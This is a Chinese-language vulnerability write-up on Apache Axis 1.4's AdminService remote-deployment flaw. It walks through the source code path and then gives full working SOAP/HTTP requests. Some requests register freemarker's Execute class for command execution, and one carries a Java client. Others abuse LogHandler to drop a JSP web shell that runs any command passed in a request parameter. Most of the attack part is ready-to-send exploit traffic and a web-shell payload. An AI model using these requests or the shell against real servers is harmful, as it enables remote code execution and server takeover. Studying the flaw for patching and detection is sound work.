在idea中选择new-project-webservice然后再选择axis,就可以自动下载相关所需要的文件了。
当然在 axis的官方下载仓库中 也有相关测试代码,下载完导入的tomcat中部署运行一下就好了,然后将 enableRemoteAdmin 的值修改为true,当然如果你本地调试的话这个值是可以不用改的。
首先我们先在 server-config.wsdd 文件中看看一个 service 服务的这些标签都是干什么用的。
<service name="AdminService" provider="java:MSG"> <parameter name="allowedMethods" value="AdminService"/> <parameter name="enableRemoteAdmin" value="true"/> <parameter name="className" value="org.apache.axis.utils.Admin"/> <namespace>http://xml.apache.org/axis/wsdd/</namespace> </service>
这里的 allowMethods 实际上对应名字是 AdminService 的方法,而 className 意思对应的是相关类,这里是 org.apache.axis.utils.Admin
,而 enableRemoteAdmin 则是表示是否支持远程访问,而经过这样配置之后,就可以通过SOAP的办法去调用 org.apache.axis.utils.Admin#AdminService
了。
我们详细跟进这个方法看一下,首先我们传入的soap数据包进来之后会调用 process 方法来进行操作,操作部分的内容 xml[0] 实际上是我们可控的。
跟进 process 方法,首先会调用 verifyHostAllowed 来判断来源ip,这里可以跟进一下。
public Document process(MessageContext msgContext, Element root) throws Exception { this.verifyHostAllowed(msgContext); String rootNS = root.getNamespaceURI(); AxisEngine engine = msgContext.getAxisEngine(); if (rootNS != null && rootNS.equals("http://xml.apache.org/axis/wsdd/")) { return processWSDD(msgContext, engine, root); } else { throw new Exception(Messages.getMessage("adminServiceNoWSDD")); } }
在 verifyHostAllowed 中判断了 enableRemoteAdmin 的值,如果这个 enableRemoteAdmin 不是为true的话,那么就会针对请求的ip进行判断,这里的要求是本地访问。
然后再回过头来,如果在我们的soap请求数据包中命中了 http://xml.apache.org/axis/wsdd/
,那么就会调用 processWSDD 方法来处理我们传入的数据,而这里传入的root变量是可控的。
在 processWSDD 方法中,我们的root变量中带有的数据被带入了 WSDDDocument 方法进行处理。
跟进 WSDDDocument 方法,在通过 getLocalName 获取到我们传入的root变量中 localName 的值为 deployment ,就会继续调用 WSDDDeployment 方法进行处理了。
跟进 WSDDDeployment 方法,这个方法主要作用就是解析我们传入的数据的各个子节点,我们关注一下service节点。
而 deployService 方法调用的是 deployToRegistry 方法
public void deployService(WSDDService service) { service.deployToRegistry(this); }
跟进 deployToRegistry 方法,这个方法的主要作用就是注册我们传入services。
public void deployToRegistry(WSDDDeployment registry) { registry.addService(this); registry.registerNamespaceForService(this.getQName().getLocalPart(), this); for(int i = 0; i < this.namespaces.size(); ++i) { String namespace = (String)this.namespaces.elementAt(i); registry.registerNamespaceForService(namespace, this); } super.deployToRegistry(registry); }
然后最后调用 saveConfiguration 方法。
这个方法的作用就是将结果写到配置文件里。
我们传入的xml格式的soap数据包。
POST /axis_war/services/AdminService?wsdl HTTP/1.0 Content-Type: text/xml; charset=utf-8 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Host: localhost:8888 Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 564 <?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> <service name="l1nk3r" provider="java:RPC"> <parameter name="className" value="com.l1nk3r.test"/> <parameter name="allowedMethods" value="*"/> </service> </deployment></soapenv:Body></soapenv:Envelope>
然后我们看看,已经成功写到了 server-config.wsdd 配置文件中。
在访问看看,我们发现axis的写入service操作之后不需要重启中间件,这为攻击提供了便利。
而从预警中看到这么一句
Apache AXIS中的freemarker组件中调用template.utility.Execute类时存在远程命令执行攻击
而在axis并没有发现自带freemarker,所以这里我下载了一下 freemarker-2.3.23.jar ,导入到axis中,在
freemarker.template.utility.Execute#exec
中传入的对象是list,然后可以直接执行命令。
也就是说这里分两步,第一步注册 freemarker.template.utility.Execute 这个方法。
POST /services/AdminService?wsdl HTTP/1.0 Content-Type: text/xml; charset=utf-8 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Host: locathost:8080 Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 594 <?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <soapenv:Body> <deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java"> <service name="freemarker" provider="java:RPC"> <parameter name="className" value="freemarker.template.utility.Execute"/> <parameter name="allowedMethods" value="*"/> </service> </deployment> </soapenv:Body></soapenv:Envelope>
第二步调用exec执行命令,当然如果不会构造数据包的话,可以写一个java客户端,然后wireshark抓包导入到burp中。
public static void main(String[] args) throws Exception { String wsdlAddress = "http://127.0.0.1/services/freemarker?wsdl"; Service service = new Service(); Call call = (Call) service.createCall(); call.setTargetEndpointAddress(wsdlAddress); List<String> list = new ArrayList<String>(); list.add("open /Applications/Calculator.app"); String val = (String) call.invoke("exec", new Object[] {list}); System.out.println("这是webservice服务器返回的信息:/n" + val); }
POST /axis_war/services/freemarker?wsdl HTTP/1.0 Content-Type: text/xml; charset=utf-8 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Host: locathost:8080 Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 670 <?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><soapenv:Body><exec soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><arg0 href="#id0"/></exec><multiRef id="id0" soapenc:root="0" soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" soapenc:arrayType="xsd:anyType[1]" xsi:type="soapenc:Array" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"><multiRef xsi:type="soapenc:string">open /Applications/Calculator.app</multiRef></multiRef></soapenv:Body></soapenv:Envelope>
其实我觉得这是axis的一个正常功能,如果只是配合freemarker一起用有点不太好用,所以可以试试看找一找有没有内置的方法,然后有个大哥找到一个方法写文件的。
第一步记录日志,创建文件。
POST /axis_war/services/AdminService?wsdl HTTP/1.0 Content-Type: text/xml; charset=utf-8 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Host: locathost:8080 Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 1061 <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <ns1:deployment xmlns="http://xml.apache.org/axis/wsdd/" xmlns:java="http://xml.apache.org/axis/wsdd/providers/java" xmlns:ns1="http://xml.apache.org/axis/wsdd/"> <ns1:service name="RandomService" provider="java:RPC"> <requestFlow> <handler type="RandomLog"/> </requestFlow> <ns1:parameter name="className" value="java.util.Random"/> <ns1:parameter name="allowedMethods" value="*"/> </ns1:service> <handler name="RandomLog" type="java:org.apache.axis.handlers.LogHandler" > <parameter name="LogHandler.fileName" value="../webapps/ROOT/shell.jsp" /> <parameter name="LogHandler.writeToConsole" value="false" /> </handler> </ns1:deployment> </soapenv:Body> </soapenv:Envelope>
第二步写入shell。
POST /axis_war/services/RandomService HTTP/1.0 Content-Type: text/xml; charset=utf-8 Accept: application/soap+xml, application/dime, multipart/related, text/* User-Agent: Axis/1.4 Host: locathost:8080 Cache-Control: no-cache Pragma: no-cache SOAPAction: "" Content-Length: 874 <?xml version="1.0" encoding="utf-8"?> <soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:api="http://127.0.0.1/Integrics/Enswitch/API" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Body> <api:main soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <api:in0><![CDATA[ <%@page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%> ]]> </api:in0> </api:main> </soapenv:Body> </soapenv:Envelope>
第三步访问shell执行命令。